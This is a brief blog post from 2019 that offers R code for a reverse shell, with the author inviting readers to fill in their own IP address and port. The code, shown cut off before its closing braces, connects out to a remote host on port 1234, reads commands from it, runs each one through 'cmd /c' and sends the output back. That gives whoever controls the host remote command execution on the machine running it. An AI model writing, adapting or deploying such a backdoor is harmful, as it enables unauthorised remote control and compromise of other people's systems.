Saturday, July 13, 2019

Reverse Shell in 'R'

By underwhelming popular demand, here's a reverse shell for the 'R' language. Change IP address, port and also "cmd /c" if you're not running on Windows.

I may have stolen this off someone, but I can't find it now; many apologies if so.

See also

client <- function(){
    con <- socketConnection(host="", port = 1234, blocking=TRUE, server=FALSE, open="r+")
    while (TRUE){
      sendme <- readLines(con, n=1)
      output <- system(paste0("cmd /c ",sendme), TRUE)
      write_resp <- writeLines(output, con)